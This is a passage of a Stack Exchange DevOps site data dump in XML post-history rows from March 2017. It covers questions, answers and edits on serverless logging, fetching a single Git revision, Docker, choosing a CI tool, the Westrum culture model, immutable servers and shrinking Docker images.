isolation, and passivity.&#xD;&#xA;&gt; * A culture of conscious inquiry will assist in getting fundamental improvements to the system, rather than just quick fixes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1765804/pdf/v013p0ii22.pdf&#xD;&#xA;  [2]: https://puppet.com/resources/whitepaper/2016-state-of-devops-report&#xD;&#xA;  [3]: http://devopsenterprise.io/media/DOES_forum_metrics_102015.pdf&#xD;&#xA;  [4]: http://itrevolution.com/devops_enterprise_forum_guidance" ContentLicense="CC BY-SA 3.0" />
  <row Id="1243" PostHistoryTypeId="5" PostId="404" RevisionGUID="5f97a2d0-a565-4c56-9e96-18344e77ded4" CreationDate="2017-03-07T07:18:22.720" UserId="154" Comment="Remove use of the term &quot;slave&quot; due to problematic connotations." Text="I have the following setting:&#xD;&#xA;&#xD;&#xA;&gt; Create multiple workers, do a computation  and terminate them after the&#xD;&#xA;&gt; computation is done.&#xD;&#xA;&#xD;&#xA;So, every-time it’ll be a different instance, so each host having a log file of it’s own, will result in a huge list of files.  &#xD;&#xA;&#xD;&#xA;If it a good practice? If no, then what would be a better practice for logging in this particular use-case?&#xD;&#xA;&#xD;&#xA;PS: My infra. is serverless. So, for now, I am logging to (AWS)CloudWatch. But, please answer the question independent of AWS, and more suiting a serverless setup." ContentLicense="CC BY-SA 3.0" />
  <row Id="1244" PostHistoryTypeId="24" PostId="404" RevisionGUID="5f97a2d0-a565-4c56-9e96-18344e77ded4" CreationDate="2017-03-07T07:18:22.720" Comment="Proposed by 154 approved by 46 edit id of 125" ContentLicense="CC BY-SA 3.0" />
  <row Id="1245" PostHistoryTypeId="10" PostId="141" RevisionGUID="a76ad561-258d-4783-9bb1-a7e711483dbb" CreationDate="2017-03-07T07:18:46.813" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:332,&quot;DisplayName&quot;:&quot;QPaysTaxes&quot;},{&quot;Id&quot;:294,&quot;DisplayName&quot;:&quot;Danny Nimmo&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="1246" PostHistoryTypeId="2" PostId="406" RevisionGUID="3ea09bbc-a62f-4111-9d93-2acb3f5b9fad" CreationDate="2017-03-07T07:56:16.863" UserId="293" Text="Having the full GIT revision history has a lot of benefits as part of the development process. &#xD;&#xA;&#xD;&#xA;But our product is the source code, we are using scripted languages that doesn't need compilation or processing, and then the GIT history becomes a burden on deployment- in our example we deploy a clean virtual environment following every change, having several deployments on a single machine.&#xD;&#xA;&#xD;&#xA;There are some way to reduce the amount of history, for example shallow clones whose efficiency depends on how deep the revision is in the branch, doing a fetch instead of clone but then you still get history from the revision and back, or getting the full repo once then pull when needed but this is wasteful in terms of disk space and tends to be less reliable.&#xD;&#xA;&#xD;&#xA;*Question* is there a way to get a single revision from GIT without it's history ?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1247" PostHistoryTypeId="1" PostId="406" RevisionGUID="3ea09bbc-a62f-4111-9d93-2acb3f5b9fad" CreationDate="2017-03-07T07:56:16.863" UserId="293" Text="Getting a single revision from GIT" ContentLicense="CC BY-SA 3.0" />
  <row Id="1248" PostHistoryTypeId="3" PostId="406" RevisionGUID="3ea09bbc-a62f-4111-9d93-2acb3f5b9fad" CreationDate="2017-03-07T07:56:16.863" UserId="293" Text="&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1249" PostHistoryTypeId="5" PostId="406" RevisionGUID="8bf60bfa-ca1b-4dff-87c6-7a2fb60f34ea" CreationDate="2017-03-07T08:13:58.907" UserId="46" Comment="Updated unnecessary capitalization" Text="Having the full Git revision history has a lot of benefits as part of the development process. &#xD;&#xA;&#xD;&#xA;But our product is the source code, we are using scripted languages that doesn't need compilation or processing, and then the Git history becomes a burden on deployment- in our example we deploy a clean virtual environment following every change, having several deployments on a single machine.&#xD;&#xA;&#xD;&#xA;There are some way to reduce the amount of history, for example shallow clones whose efficiency depends on how deep the revision is in the branch, doing a fetch instead of clone but then you still get history from the revision and back, or getting the full repo once then pull when needed but this is wasteful in terms of disk space and tends to be less reliable.&#xD;&#xA;&#xD;&#xA;*Question* is there a way to get a single revision from Git without it's history ?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1250" PostHistoryTypeId="4" PostId="406" RevisionGUID="8bf60bfa-ca1b-4dff-87c6-7a2fb60f34ea" CreationDate="2017-03-07T08:13:58.907" UserId="46" Comment="Updated unnecessary capitalization" Text="Getting a single revision from Git" ContentLicense="CC BY-SA 3.0" />
  <row Id="1251" PostHistoryTypeId="24" PostId="406" RevisionGUID="8bf60bfa-ca1b-4dff-87c6-7a2fb60f34ea" CreationDate="2017-03-07T08:13:58.907" Comment="Proposed by 46 approved by -1 edit id of 126" ContentLicense="CC BY-SA 3.0" />
  <row Id="1252" PostHistoryTypeId="5" PostId="406" RevisionGUID="575614ed-5fe3-41c1-9d50-6cdf052529b3" CreationDate="2017-03-07T08:13:58.907" UserId="40" Comment="fix typos" Text="Having the full Git revision history has a lot of benefits as part of the development process. &#xD;&#xA;&#xD;&#xA;But our product is the source code, we are using scripted languages that don't need compilation or processing, and then the Git history becomes a burden on deployment- in our example we deploy a clean virtual environment following every change, having several deployments on a single machine.&#xD;&#xA;&#xD;&#xA;There are some ways to reduce the amount of history, for example shallow clones whose efficiency depends on how deep the revision is in the branch, doing a fetch instead of clone but then you still get history from the revision and back, or getting the full repo once then pull when needed but this is wasteful in terms of disk space and tends to be less reliable.&#xD;&#xA;&#xD;&#xA;*Question* is there a way to get a single revision from Git without it's history ?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1253" PostHistoryTypeId="2" PostId="407" RevisionGUID="e7c628d3-8de5-47f9-bf32-4234bc1c2521" CreationDate="2017-03-07T08:35:32.477" UserId="184" Text="### Shallow clone&#xD;&#xA;&#xD;&#xA;You can indeed get a shallow clone out of GIT using:&#xD;&#xA;&#xD;&#xA;    git clone --depth=1 &lt;url&gt;&#xD;&#xA;&#xD;&#xA;This will still clone the repo and create a `.git` folder with the objects, only smaller in size (depending on your history size).&#xD;&#xA;&#xD;&#xA;### GIT archive&#xD;&#xA;&#xD;&#xA;You can also use [git-archive](https://git-scm.com/docs/git-archive) to extract an archive of the repo:&#xD;&#xA;&#xD;&#xA;&gt; Creates an archive of the specified format containing the tree structure for the named tree, and writes it out to the standard output. If &lt;prefix&gt; is specified it is prepended to the filenames in the archive.&#xD;&#xA;&#xD;&#xA;In the [examples](https://git-scm.com/docs/git-archive#_examples) it shows for instance:&#xD;&#xA;&#xD;&#xA;&gt; `git archive --format=tar --prefix=git-1.4.0/ v1.4.0 | gzip &gt;git-1.4.0.tar.gz`  &#xD;&#xA;&gt; &gt; Create a compressed tarball for [tag:v1.4.0] release.&#xD;&#xA;&#xD;&#xA;### Hosted GIT, archive API&#xD;&#xA;&#xD;&#xA;If you are hosting your repo on GitHub, then you can use their [archive API](https://developer.github.com/v3/repos/contents/#get-archive-link):&#xD;&#xA;&#xD;&#xA;`https://api.github.com/repos/&lt;username&gt;/&lt;repository&gt;/zipball/&lt;commit_hash&gt;`&#xD;&#xA;&#xD;&#xA;Bitbucket.org has a same functionality for this:&#xD;&#xA;&#xD;&#xA;`https://bitbucket.org/&lt;username&gt;/&lt;repository&gt;/get/&lt;branch_name|commit_hash|tag&gt;.zip`" ContentLicense="CC BY-SA 3.0" />
  <row Id="1254" PostHistoryTypeId="2" PostId="408" RevisionGUID="80b3dcc8-9c07-4231-a69b-bcfc453b6ce3" CreationDate="2017-03-07T08:47:54.997" UserId="154" Text="&quot;Serverless&quot; mostly just means you've got relatively simple microservices, generally just a little webapp or a single function that is automatically connected to a REST frontend. The same concepts apply as you would use for a more traditional web services: usually some mix of remote syslog and ElasticSearch writers.&#xD;&#xA;&#xD;&#xA;Networked or remote syslog has been around for a long time and has a fairly robust set of tools around it. You would have to run the central syslog server(s) but the protocol is very simple and there are pure client libraries in every language that you can use for sending logs. One common problem with remote syslog is that it has traditionally been based around UDP. This means that under heavy load, some log messages may be lost. This could be a good thing, helping avoid a cascade overload, but it is something to be aware of. Some newer syslog daemons also support a TCP-based protocol, but client support is less unified so just do your research.&#xD;&#xA;&#xD;&#xA;More recent but very popular is logging to ElasticSearch. This is mostly useful because of the Kibana dashboard and Logstash tooklit (often called ELK, ElasticSearch+Logstash+Kibana). Amazon even offers a hosted ElasticSearch option, making it somewhat easier to get started. ES uses a relatively simple REST API, so any language with an HTTP client (read: all of them) should be okay with logging to ES but make sure you are careful with blocking network operations in cases of partial system outages (i.e. make sure your app won't get stuck in a logging call that will never succeed and stop servicing user requests).&#xD;&#xA;&#xD;&#xA;More complex logging topologies are bounded only by your imagination, though these days you'll see a lot of use of the Kafka database/queue/whatever-you-want-to-call-it as a nexus point in very complex log distribution systems.&#xD;&#xA;&#xD;&#xA;On the &quot;serverless&quot; side, you'll generally want to integrate with these systems directly at the network level, so sending log data directly to syslog or ES from your service/function, rather than writing to local files (though maybe echo to those too for local debugging and development)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1255" PostHistoryTypeId="2" PostId="409" RevisionGUID="9e6a231a-3ee8-4202-ad3e-2e87f44944e9" CreationDate="2017-03-07T08:55:07.677" UserId="154" Text="Docker is a specific implementation of Linux containers, or if you want to be more precise Docker is a distribution of tools that includes `runc` which is an implementation of Linux containers. Other implementations include rkt, LXC, LXD, and (I think) Snappy from Ubuntu." ContentLicense="CC BY-SA 3.0" />
  <row Id="1256" PostHistoryTypeId="5" PostId="407" RevisionGUID="f173e3ea-458b-4322-a04a-66e6684bbec6" CreationDate="2017-03-07T08:57:41.570" UserId="184" Comment="added 31 characters in body" Text="### Shallow clone&#xD;&#xA;&#xD;&#xA;You can indeed get a shallow clone out of GIT using:&#xD;&#xA;&#xD;&#xA;    git clone --depth=1 &lt;url&gt;&#xD;&#xA;&#xD;&#xA;This will still clone the repo and create a `.git` folder with the objects, only smaller in size (difference depending on your total file size vs. history size).&#xD;&#xA;&#xD;&#xA;### GIT archive&#xD;&#xA;&#xD;&#xA;You can also use [git-archive](https://git-scm.com/docs/git-archive) to extract an archive of the repo:&#xD;&#xA;&#xD;&#xA;&gt; Creates an archive of the specified format containing the tree structure for the named tree, and writes it out to the standard output. If &lt;prefix&gt; is specified it is prepended to the filenames in the archive.&#xD;&#xA;&#xD;&#xA;In the [examples](https://git-scm.com/docs/git-archive#_examples) it shows for instance:&#xD;&#xA;&#xD;&#xA;&gt; `git archive --format=tar --prefix=git-1.4.0/ v1.4.0 | gzip &gt;git-1.4.0.tar.gz`  &#xD;&#xA;&gt; &gt; Create a compressed tarball for [tag:v1.4.0] release.&#xD;&#xA;&#xD;&#xA;### Hosted GIT, archive API&#xD;&#xA;&#xD;&#xA;If you are hosting your repo on GitHub, then you can use their [archive API](https://developer.github.com/v3/repos/contents/#get-archive-link):&#xD;&#xA;&#xD;&#xA;`https://api.github.com/repos/&lt;username&gt;/&lt;repository&gt;/zipball/&lt;commit_hash&gt;`&#xD;&#xA;&#xD;&#xA;Bitbucket.org has a same functionality for this:&#xD;&#xA;&#xD;&#xA;`https://bitbucket.org/&lt;username&gt;/&lt;repository&gt;/get/&lt;branch_name|commit_hash|tag&gt;.zip`" ContentLicense="CC BY-SA 3.0" />
  <row Id="1257" PostHistoryTypeId="2" PostId="410" RevisionGUID="83e2945f-5ec4-44b3-82c6-683b8a379754" CreationDate="2017-03-07T09:16:28.473" UserId="13" Text="&gt; Question is there a way to get a single revision from Git without it's history ?&#xD;&#xA;&#xD;&#xA;To get a repository, no there's no way, mainly because there's no 'revision'. Git store commits, which are changes from previous state.&#xD;&#xA;&#xD;&#xA;If you want your repository at a specific point in time you have to pull the commit at this time and all it's ancestors or you'll get only the changes made in the commit.&#xD;&#xA;&#xD;&#xA;For the others solutions, @7ochem answer does cover them." ContentLicense="CC BY-SA 3.0" />
  <row Id="1258" PostHistoryTypeId="5" PostId="410" RevisionGUID="5393dc8a-a7b9-42c5-907e-55307479b647" CreationDate="2017-03-07T09:24:46.423" UserId="13" Comment="added 138 characters in body" Text="&gt; Question is there a way to get a single revision from Git without it's history ?&#xD;&#xA;&#xD;&#xA;To get a repository, no there's no way, mainly because there's no 'revision'. Git store commits, which are changes from previous state.  &#xD;&#xA;If you want your repository at a specific point in time you have to pull the commit at this time and all it's ancestors or you'll get only the changes made in the commit. &#xD;&#xA;&#xD;&#xA;To avoid confusion: Shallow cloning is getting the needed history and then truncating it to free space, the tree is still made from history.&#xD;&#xA;&#xD;&#xA;For the solutions, @7ochem answer does cover them." ContentLicense="CC BY-SA 3.0" />
  <row Id="1259" PostHistoryTypeId="5" PostId="141" RevisionGUID="70261563-4c10-42b7-a4d7-b57380b7fb0e" CreationDate="2017-03-07T09:25:24.683" UserId="184" Comment="Removed &quot;Thanks&quot;" Text="I work in IT department of automation/dev company and we are just about to implement/add CI into our set of tools. And we are having difficulties to choose the one.&#xD;&#xA;&#xD;&#xA;At the moment we've been thinking about these systems:&#xD;&#xA;&#xD;&#xA; - Jenkins&#xD;&#xA; - CircleCI&#xD;&#xA; - TravisCI&#xD;&#xA;&#xD;&#xA;**Question:** What are key attributes of CI's soft which the systems should have and based on which we should compare them?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**EDIT:** We are expecting from CI the standard things: From building the applications, running tests (Unit/Integration/Performance/..), saving statistics and providing information either via email/on the page (reports).&#xD;&#xA;&#xD;&#xA;Issue there is that we don't know which if there are more functionality and if, what is it? This is what I would be looking for under words **&quot;key attributes&quot;**. The names above are just for reference, I'm looking for answer **&quot;why use** this or that&quot; over simplified **&quot;use this or that&quot;**.&#xD;&#xA;&#xD;&#xA;We are developing in .NET (C#) environment with some libraries written in C++/VBA." ContentLicense="CC BY-SA 3.0" />
  <row Id="1260" PostHistoryTypeId="24" PostId="141" RevisionGUID="70261563-4c10-42b7-a4d7-b57380b7fb0e" CreationDate="2017-03-07T09:25:24.683" Comment="Proposed by 184 approved by -1 edit id of 127" ContentLicense="CC BY-SA 3.0" />
  <row Id="1261" PostHistoryTypeId="5" PostId="141" RevisionGUID="3676f417-b046-45c7-98c2-a76666ecefe1" CreationDate="2017-03-07T09:25:24.683" UserId="40" Comment="Fix grammar" Text="I work in the IT department of automation/dev company and we are just about to implement/add CI into our set of tools. And we are having difficulties to choose the one.&#xD;&#xA;&#xD;&#xA;At the moment we've been thinking about these systems:&#xD;&#xA;&#xD;&#xA; - Jenkins&#xD;&#xA; - CircleCI&#xD;&#xA; - TravisCI&#xD;&#xA;&#xD;&#xA;**Question:** What are key attributes of CI's soft which the systems should have and based on which we should compare them?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**EDIT:** We are expecting from CI the standard things: From building the applications, running tests (Unit/Integration/Performance/..), saving statistics and providing information either via email/on the page (reports).&#xD;&#xA;&#xD;&#xA;Issue there is that we don't know which if there are more functionality and if, what is it? This is what I would be looking for under words **&quot;key attributes&quot;**. The names above are just for reference, I'm looking for answer **&quot;why use** this or that&quot; over simplified **&quot;use this or that&quot;**.&#xD;&#xA;&#xD;&#xA;We are developing in .NET (C#) environment with some libraries written in C++/VBA." ContentLicense="CC BY-SA 3.0" />
  <row Id="1263" PostHistoryTypeId="5" PostId="404" RevisionGUID="a93e59a1-7b2e-4471-9671-bccc28046b3a" CreationDate="2017-03-07T11:01:25.480" UserId="13" Comment="Some corrections, review tittle, reworded some sentences" Text="I have the following setting:&#xD;&#xA;&#xD;&#xA;&gt; Create multiple workers, do a computation  and terminate them after the&#xD;&#xA;&gt; computation is done.&#xD;&#xA;&#xD;&#xA;So, every-time it’ll be a different instance running the tasl, so each host will have its own a log file, this will result in a huge list of files.  &#xD;&#xA;&#xD;&#xA;Is it a good practice? If not, what would be a better way for logging the task processing in this particular use-case?&#xD;&#xA;&#xD;&#xA;PS: My infra. is serverless. So, for now, I am logging to (AWS)CloudWatch. But, please answer the question independently of AWS, and suiting a serverless setup as much as possible." ContentLicense="CC BY-SA 3.0" />
  <row Id="1264" PostHistoryTypeId="4" PostId="404" RevisionGUID="a93e59a1-7b2e-4471-9671-bccc28046b3a" CreationDate="2017-03-07T11:01:25.480" UserId="13" Comment="Some corrections, review tittle, reworded some sentences" Text="What is a good logging practice for distributed taks?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1265" PostHistoryTypeId="5" PostId="404" RevisionGUID="7ce0f235-b86d-4533-8447-549dba0ca204" CreationDate="2017-03-07T11:14:31.633" UserId="46" Comment="edited body; edited title" Text="I have the following setting:&#xD;&#xA;&#xD;&#xA;&gt; Create multiple workers, do a computation  and terminate them after the&#xD;&#xA;&gt; computation is done.&#xD;&#xA;&#xD;&#xA;So, every-time it’ll be a different instance running the task, so each host will have its own a log file, this will result in a huge list of files.  &#xD;&#xA;&#xD;&#xA;Is it a good practice? If not, what would be a better way for logging the task processing in this particular use-case?&#xD;&#xA;&#xD;&#xA;PS: My infra. is serverless. So, for now, I am logging to (AWS)CloudWatch. But, please answer the question independently of AWS, and suiting a serverless setup as much as possible." ContentLicense="CC BY-SA 3.0" />
  <row Id="1266" PostHistoryTypeId="4" PostId="404" RevisionGUID="7ce0f235-b86d-4533-8447-549dba0ca204" CreationDate="2017-03-07T11:14:31.633" UserId="46" Comment="edited body; edited title" Text="What is a good logging practice for distributed tasks?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1267" PostHistoryTypeId="2" PostId="411" RevisionGUID="4cf4ce0d-03ca-4586-b13d-2e5fe4f75ef0" CreationDate="2017-03-07T11:19:03.460" UserId="31" Text="In [The Phoenix Project][1] the single graph in the entire book shows that as a person's workload increases into the high 90%s the wait time on them increases exponentially. In fact in the book it claims that:&#xD;&#xA;&#xD;&#xA;Wait Time = (Percentage Busy/Percentage Free)&#xD;&#xA;&#xD;&#xA;So if a resource is busy for 35 out of 40 hours per week then:&#xD;&#xA;&#xD;&#xA;    Wait Time = 0.875/0.125  = 8&#xD;&#xA;&#xD;&#xA;However if a resource is busy for 39 out of 40 hours per week then:&#xD;&#xA;&#xD;&#xA;    Wait Time = 0.975/0.025  = 39&#xD;&#xA;&#xD;&#xA;This is multiplied up by the number of waits in the workflow. It's obviously something we want to keep an eye on!&#xD;&#xA;&#xD;&#xA;So, given all of this it's obviously vital that we keep people's utilisation at a sensible level. Given the book's insistence of the importance of this formula it offers little practical advice on how to measure these values. My question is, how can you practically measure a person's percentage busy?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO" ContentLicense="CC BY-SA 3.0" />
  <row Id="1268" PostHistoryTypeId="1" PostId="411" RevisionGUID="4cf4ce0d-03ca-4586-b13d-2e5fe4f75ef0" CreationDate="2017-03-07T11:19:03.460" UserId="31" Text="How to measure human utilisation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1269" PostHistoryTypeId="3" PostId="411" RevisionGUID="4cf4ce0d-03ca-4586-b13d-2e5fe4f75ef0" CreationDate="2017-03-07T11:19:03.460" UserId="31" Text="&lt;systems&gt;&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1271" PostHistoryTypeId="5" PostId="365" RevisionGUID="ce6abad7-da2e-4242-b07a-a478c6944eea" CreationDate="2017-03-07T11:20:59.110" UserId="14" Comment="Plagiarism of https://wiki.jenkins-ci.org/pages/viewpage.action?pageId=65669240 — replace with alternative." Text="For questions about the Jenkins 'Job DSL' plugin which are applicable to DevOps. Consider also tagging your question with [jenkins]." ContentLicense="CC BY-SA 3.0" />
  <row Id="1272" PostHistoryTypeId="24" PostId="365" RevisionGUID="ce6abad7-da2e-4242-b07a-a478c6944eea" CreationDate="2017-03-07T11:20:59.110" Comment="Proposed by 14 approved by 6, 40 edit id of 120" ContentLicense="CC BY-SA 3.0" />
  <row Id="1273" PostHistoryTypeId="5" PostId="363" RevisionGUID="bcf44e5c-75ce-4fe6-b0f1-b9a42c412664" CreationDate="2017-03-07T11:21:09.177" UserId="14" Comment="Blatant plagiarism of https://github.com/spring-projects/spring-boot — replace with alternative usage guidance." Text="For questions about Spring Boot, the Java framework for creating Spring applications. Development questions may be better suited at Stack Overflow." ContentLicense="CC BY-SA 3.0" />
  <row Id="1274" PostHistoryTypeId="24" PostId="363" RevisionGUID="bcf44e5c-75ce-4fe6-b0f1-b9a42c412664" CreationDate="2017-03-07T11:21:09.177" Comment="Proposed by 14 approved by 6, 40 edit id of 119" ContentLicense="CC BY-SA 3.0" />
  <row Id="1276" PostHistoryTypeId="5" PostId="405" RevisionGUID="6d2c820f-1035-4c18-a8d8-a1ec69a1dc73" CreationDate="2017-03-07T11:30:35.860" UserId="6" Comment="add a tl;dr version of the westrum article" Text="Hackathons are a great way to promote people to share knowledge, collaborate, and share risk and responsibility. The traditional (non-devops) organization is often power-centric and promotes people to avoid talking directly to each other. Allowing people to only communicate to each other via their managers. This type of culture in organizations is sub-optimal for good performance, which is what DevOps all about.&#xD;&#xA;&#xD;&#xA;The term 'power-centric' and 'generative' culture come from the [R. Westrum model on how you can measure culture][1]. The article presents a way to determine which culture your organization has, and what are the pros &amp; cons of each type of culture (there are just three types).&#xD;&#xA;&#xD;&#xA;From the article:&#xD;&#xA;&gt; *There is wide belief that organisational culture shapes many aspects of performance, including safety. Yet proof of this relationship in a medical context is hard to find. In contrast to human factors, whose contributions are many and notable, culture’s impact remains a commonsense, rather than a scientific, concept. The objectives of this paper are to show that organisational culture bears a predictive relationship with safety and that particular kinds of organisational culture improve safety, and to develop a typology predictive of safety performance. Because information flow is both influential and also indicative of other aspects of culture, it can be used to predict how organisations or parts of them will behave when signs of trouble arise. From case studies and some systematic research it appears that information culture is indeed associated with error reporting and with performance, including safety. Yet this relationship between culture and safety requires more exploration before the connection can be considered definitive.*&#xD;&#xA;&gt;&#xD;&#xA;&gt; **[A typology of organisational cultures][1] by R. Westrum**&#xD;&#xA;&#xD;&#xA;The *big* question that DevOps researches asked themselves, is how can you take an IT organisation and transform the culture from power-centric towards generative. **Hackathons are one of the definite tools** that leadership can promote, which have an actual effect breaking down old ways of doing things and really changing culture.&#xD;&#xA;&#xD;&#xA;This is why the Westrum model has been heavily quoted both in the [2016 State of DevOps Report][2], and in [DevOps Enterprise forum guidance][4] materials.&#xD;&#xA;&#xD;&#xA;The [PuppetLabs State of DevOps Report][2] is a survey of more than 25k technical professionals. They were asked questions about various aspects related to DevOps. The section on &quot;Lean Product Management&quot;, and the section on &quot;Organizational Culture and Identity&quot; specifically quote the Westrum model. Using it to explain how better culture is a key factor in better organizational performance.&#xD;&#xA;&#xD;&#xA;The paper on [Metrics for DevOps Initiatives][3] at the [DevOps Enterprise Forum Guidance][4] explains how to *measure culture* using the Westrum model, and what organizational performance can be expected from it.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Key messages from the Westrum model:&#xD;&#xA;&gt; * To be able to work with and understand organisational culture, we need a typology of organisational environments.&#xD;&#xA;&gt; * Information processing style is a useful focus for such a typology, because information is important directly and is correlated with other features of the organisation’s culture.&#xD;&#xA;&gt; * Three typical styles of information processing are pathological, bureaucratic, and generative.&#xD;&#xA;&gt; * These styles are shaped by leaders’ preoccupations, including focus on personal needs, bureaucratic objectives, and the organisation’s mission.&#xD;&#xA;&gt; * These styles are associated with different responses to signs of trouble and opportunities for innovation.&#xD;&#xA;&gt; * Culture is mutable. With new leadership, an environment with one kind of culture can change into another.&#xD;&#xA;&#xD;&#xA;Implications of Westrum model to clinical practice, most of which apply directly to IT organizations:&#xD;&#xA;&gt; * Leadership in the medical unit shapes the culture, which shapes the information flow.&#xD;&#xA;&gt; * Good information flow and processing has important effects on patient safety.&#xD;&#xA;&gt; * In particular, an open and generative culture will mean better uptake of innovations and better response to danger signals.&#xD;&#xA;&gt; * A generative culture requires that alignment, awareness, and empowerment replace suspicion, isolation, and passivity.&#xD;&#xA;&gt; * A culture of conscious inquiry will assist in getting fundamental improvements to the system, rather than just quick fixes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1765804/pdf/v013p0ii22.pdf&#xD;&#xA;  [2]: https://puppet.com/resources/whitepaper/2016-state-of-devops-report&#xD;&#xA;  [3]: http://devopsenterprise.io/media/DOES_forum_metrics_102015.pdf&#xD;&#xA;  [4]: http://itrevolution.com/devops_enterprise_forum_guidance" ContentLicense="CC BY-SA 3.0" />
  <row Id="1277" PostHistoryTypeId="5" PostId="332" RevisionGUID="e593b60e-ee36-49ab-9879-faa32ad3f0a1" CreationDate="2017-03-07T11:34:48.007" UserId="47" Comment="added 95 characters in body" Text="Jenkins is an open source continuous integration software. It is extensible by 1000+ plugins.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1278" PostHistoryTypeId="24" PostId="332" RevisionGUID="e593b60e-ee36-49ab-9879-faa32ad3f0a1" CreationDate="2017-03-07T11:34:48.007" Comment="Proposed by 47 approved by 6, 40 edit id of 99" ContentLicense="CC BY-SA 3.0" />
  <row Id="1279" PostHistoryTypeId="5" PostId="151" RevisionGUID="ec75260d-1954-4557-9727-13f317a15f4c" CreationDate="2017-03-07T11:35:13.060" UserId="14" Comment="Remove content plagiarised from Wikipedia: https://en.wikipedia.org/wiki/Docker_(software); replace with custom-written description" Text="Docker is an open-source [software container](https://en.wikipedia.org/wiki/Operating-system-level_virtualization) platform written in Go. &#xD;&#xA;&#xD;&#xA;**Resources**&#xD;&#xA;&#xD;&#xA; - [What is Docker?][2]&#xD;&#xA; - [Official documentation][3]&#xD;&#xA; - [Stack Overflow documentation][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/&#xD;&#xA;  [2]: https://www.docker.com/what-docker&#xD;&#xA;  [3]: https://docs.docker.com/&#xD;&#xA;  [4]: http://stackoverflow.com/documentation/docker/topics" ContentLicense="CC BY-SA 3.0" />
  <row Id="1280" PostHistoryTypeId="24" PostId="151" RevisionGUID="ec75260d-1954-4557-9727-13f317a15f4c" CreationDate="2017-03-07T11:35:13.060" Comment="Proposed by 14 approved by 6, 40 edit id of 118" ContentLicense="CC BY-SA 3.0" />
  <row Id="1281" PostHistoryTypeId="2" PostId="412" RevisionGUID="f987a802-305e-4744-91c3-7c4e32e77c60" CreationDate="2017-03-07T11:57:18.470" UserId="40" Text="There are some questions about ***[immutable servers][1]***, such as:&#xD;&#xA;&#xD;&#xA;- http://devops.stackexchange.com/q/207/40&#xD;&#xA;- http://devops.stackexchange.com/q/109/40&#xD;&#xA;&#xD;&#xA;It seems obvious that it has to do with servers (that part I get). And just digesting the grammar of ***immutable***, I would think it has something to do with &quot;not possible to *mute*&quot;. If that guess is close, I'd have no clue what exactly cannot be muted (and I doubt it has to do with soundcards or something ...).&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;immutable servers&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/questions/tagged/immutable-servers" ContentLicense="CC BY-SA 3.0" />
  <row Id="1282" PostHistoryTypeId="1" PostId="412" RevisionGUID="f987a802-305e-4744-91c3-7c4e32e77c60" CreationDate="2017-03-07T11:57:18.470" UserId="40" Text="What are immutable servers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1283" PostHistoryTypeId="3" PostId="412" RevisionGUID="f987a802-305e-4744-91c3-7c4e32e77c60" CreationDate="2017-03-07T11:57:18.470" UserId="40" Text="&lt;terminology&gt;&lt;immutable-servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1284" PostHistoryTypeId="2" PostId="413" RevisionGUID="1f2f2196-83a2-47d9-a1ab-c967bf777725" CreationDate="2017-03-07T12:42:17.677" UserId="210" Text="**Aim:** to create the smallest working docker images every time&#xD;&#xA;&#xD;&#xA;**Current**&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID            CREATED             SIZE&#xD;&#xA;    a-docker-image      latest    x                   42 minutes ago       1.92 GB&#xD;&#xA;&#xD;&#xA;**Attempt**&#xD;&#xA;&#xD;&#xA;Adding a cleanup step at the end of the Dockerfile:&#xD;&#xA;&#xD;&#xA;    #clean&#xD;&#xA;    RUN apt-get purge -y wget&#xD;&#xA;    RUN rm -r a-build-dir&#xD;&#xA;    RUN apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;reduced the image size a little bit:&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID            CREATED             SIZE&#xD;&#xA;    a-docker-image      latest    y                   2 minutes ago       1.86 GB&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;I have built various docker images. Every time I try to decrease the size of the created image, but I always feel it is too large. I am looking for a script that has already been created by someone on github that removes all superfluous packages from the image so the size of the created image will be as small as possible.&#xD;&#xA;&#xD;&#xA;As I said I always try to reduce the size of the image, but I want to apply this consistent so that every image that I create from now on will be as small as possible.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How to create the smallest working docker image every time?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
